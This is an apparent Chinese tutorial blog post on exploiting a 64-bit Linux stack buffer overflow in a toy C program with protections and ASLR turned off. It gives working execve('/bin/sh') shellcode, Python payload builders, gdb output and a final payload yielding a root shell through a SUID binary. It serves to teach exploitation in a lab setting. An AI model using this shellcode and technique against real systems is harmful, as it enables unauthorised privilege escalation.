linux 64位溢出

/*gcc -fno-stack-protetor -z execstack stack.c -o stack*/
/*echo 0 > /proc/sys/kernel/randomize_va_space*/
#include <stdio.h>
#include <unisted.h>
int vuln(){
    char buf[80];
    int r;
    r = read(0,buf,400);
    printf("\nRead %d bytes.buf is %s\n",r,buf);
    puts("No shell for you:(");
    return 0;
}
int main(int argc,char *argv[])
{
    printf("Try to exec /bin/sh");
    vuln();
    return 0;
}

按照注释进行编译,并且关闭ASLR。
当read()将400字节复制到一个80字节的buffer时,显然在vuln()中存在缓冲区溢出弱点。
构造exploit:

#!/usr/bin/env python
from struct import *
buf = ""
buf +="A"*400
f = open("in.txt","w")
f.write(buf)

这个脚本将创建一个命名为“in.txt”的文件(含有400个字节),将例子加载进gdb并将in.txt的内容重定向到例子中,同时我们可以看看事都可以覆盖到RIP:

Starting program: /root/stackoverflow < in1.txt
Try to exec /bin/sh
Read 400 bytes.buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
No shell for you:(

Program received signal SIGSEGV, Segmentation fault.
[———————————-registers———————————–]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7b0ce50 (<__write_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x7ffff7dd87a0 –> 0x0
RSI: 0x7ffff7ff5000 (“No shell for you:(\nis “, ‘A’ , “\220\001\n”)
RDI: 0x0
RBP: 0x4141414141414141 (‘AAAAAAAA’)
RSP: 0x7fffffffe1e8 (‘A’ …)
RIP: 0x4005df (

#!/usr/bin/env python
from struct import *
buf=""
buf+="A"*104
buf+=pack("<Q",0x42424242)
buf+="C"*290
f=open("in.txt","w")
f.write(buf)

执行上述脚本,将in.txt中的内容进行修改,然后运行gdb。
这里写图片描述
如图所示,我们可以看到RIP已经被我们所控制。
因为没有NX和ASLP等保护机制,所以可以直接将shellcode写到栈上。然后将返回地址指向栈上的shellcode即可。

/*
 * Execute /bin/sh - 27 bytes
 * Dad` <3 baboon
;rdi            0x4005c4 0x4005c4
;rsi            0x7fffffffdf40   0x7fffffffdf40
;rdx            0x0      0x0
;gdb$ x/s $rdi
;0x4005c4:        "/bin/sh"
;gdb$ x/s $rsi
;0x7fffffffdf40:  "\304\005@"
;gdb$ x/32xb $rsi
;0x7fffffffdf40: 0xc4    0x05    0x40    0x00    0x00    0x00    0x00    0x00
;0x7fffffffdf48: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
;0x7fffffffdf50: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
;0x7fffffffdf58: 0x55    0xb4    0xa5    0xf7    0xff    0x7f    0x00    0x00
;
;=> 0x7ffff7aeff20 <execve>:     mov    eax,0x3b
;   0x7ffff7aeff25 <execve+5>:   syscall 
;

main:
    ;mov rbx, 0x68732f6e69622f2f
    ;mov rbx, 0x68732f6e69622fff
    ;shr rbx, 0x8
    ;mov rax, 0xdeadbeefcafe1dea
    ;mov rbx, 0xdeadbeefcafe1dea
    ;mov rcx, 0xdeadbeefcafe1dea
    ;mov rdx, 0xdeadbeefcafe1dea
    xor eax, eax
    mov rbx, 0xFF978CD091969DD1
    neg rbx
    push rbx
    ;mov rdi, rsp
    push rsp
    pop rdi
    cdq
    push rdx
    push rdi
    ;mov rsi, rsp
    push rsp
    pop rsi
    mov al, 0x3b
    syscall
 */

#include <stdio.h>
#include <string.h>

char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";

int main()
{
    printf("len:%d bytes\n", strlen(code));
    (*(void(*)()) code)();
    return 0;
}

通过一个环境变量PWN来获取shellcode在栈上的地址:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc,char *argv[])
{
    char *ptr;
        if(argc<3)
        {
            printf("Usage:%s<environment var><target program name>\n",argv[0]);
            exit(0);
        }
        ptr = getenv(argv[1]);
        ptr += (strlen(argv[0])-strlen(argv[2]))*2
        printf("%s will be at %p\n",argv[1],ptr);
        return 0;
}

这里写图片描述

可以看到shellcode在栈上的地址为0x7fffffffedd3
下面我们就修改脚本

#!/usr/bin/env python
from struct import *
buf=""
buf+="A"*104
buf+=pack("<Q",0x7fffffffedd3)
f=open("in.txt","w")
f.write(buf)

这里写图片描述
确保改变我们的所有权并将例子权限改成SUID(root),因此可以得到我们的root shell。
这里写图片描述
执行完脚本之后,更新in.txt,并将payload送进例子中,就可以返回shell了。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值